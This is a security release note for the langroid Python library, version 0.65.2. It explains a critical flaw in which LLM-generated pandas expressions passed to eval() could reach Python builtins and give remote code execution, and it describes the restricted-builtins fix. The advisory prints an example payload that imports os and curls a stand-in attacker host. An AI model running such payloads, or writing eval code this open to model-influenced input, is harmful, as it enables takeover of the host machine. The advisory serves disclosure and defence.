0.65.2 — Security release

A critical security patch closing a sandbox-escape → RCE in TableChatAgent.pandas_eval and VectorStoreBase.compute_from_docs. Upgrading is strongly recommended for anyone using either of these with full_eval=True, or with any LLM-influenced expression input.

pip install -U langroid

Security fix

Sandbox escape to RCE via incomplete eval() mitigation

Advisory: GHSA-q9p7-wqxg-mrhc — Critical (CVSS 10.0), CWE-94

Both TableChatAgent.pandas_eval and VectorStoreBase.compute_from_docs called eval(code, vars, {}) on the LLM-generated expression. The empty locals={} looked sandboxed, but because the vars globals dict had no __builtins__ entry, Python implicitly injected the full builtins module during execution. That meant a payload like

__import__('os').system('curl http://attacker.com/pwned')

executed and yielded remote code execution on the host whenever full_eval=True was set — exactly the boundary full_eval was meant to opt into "trusted input only," but the misleading-looking empty locals gave a false sense of containment.

Fix: a new safe_eval_globals(local_vars) helper in langroid/utils/pandas_utils.py returns a globals dict whose __builtins__ is restricted to a curated read-only set — constants (True, False, None) plus a small set of safe builtins (abs, all, any, bool, dict, enumerate, float, int, len, list, max, min, range, reversed, round, set, sorted, str, sum, tuple, zip). Both eval call sites now wrap their globals via this helper, so __import__, eval, exec, open, compile, globals, vars, getattr and friends are no longer reachable from inside the eval'd expression — even with full_eval=True.

This is in addition to (not instead of) sanitize_command, which continues to gate the default full_eval=False path with its strict AST whitelist (DataFrame-only attribute access, dunder/private attribute blocking, method allowlist, ...).

Reported by @YLChen-007.

Behavior change

Strictly tighter — the eval'd expression no longer has access to Python builtins outside the curated safe set. Typical pandas expressions (df.shape, df.groupby(...).mean(), len(df), sum(df['x']), round(...), etc.) continue to work unchanged. If your application legitimately relied on calling __import__, open, exec, etc. from inside a pandas expression (which it should not), you will now get a NameError.

full_eval=True remains documented as "use only on trusted input" — this release closes the direct __import__-style RCE primitive that previously made that opt-in much more dangerous than it appeared.

Upgrade

pip install -U langroid

Full changelog: 0.65.1...0.65.2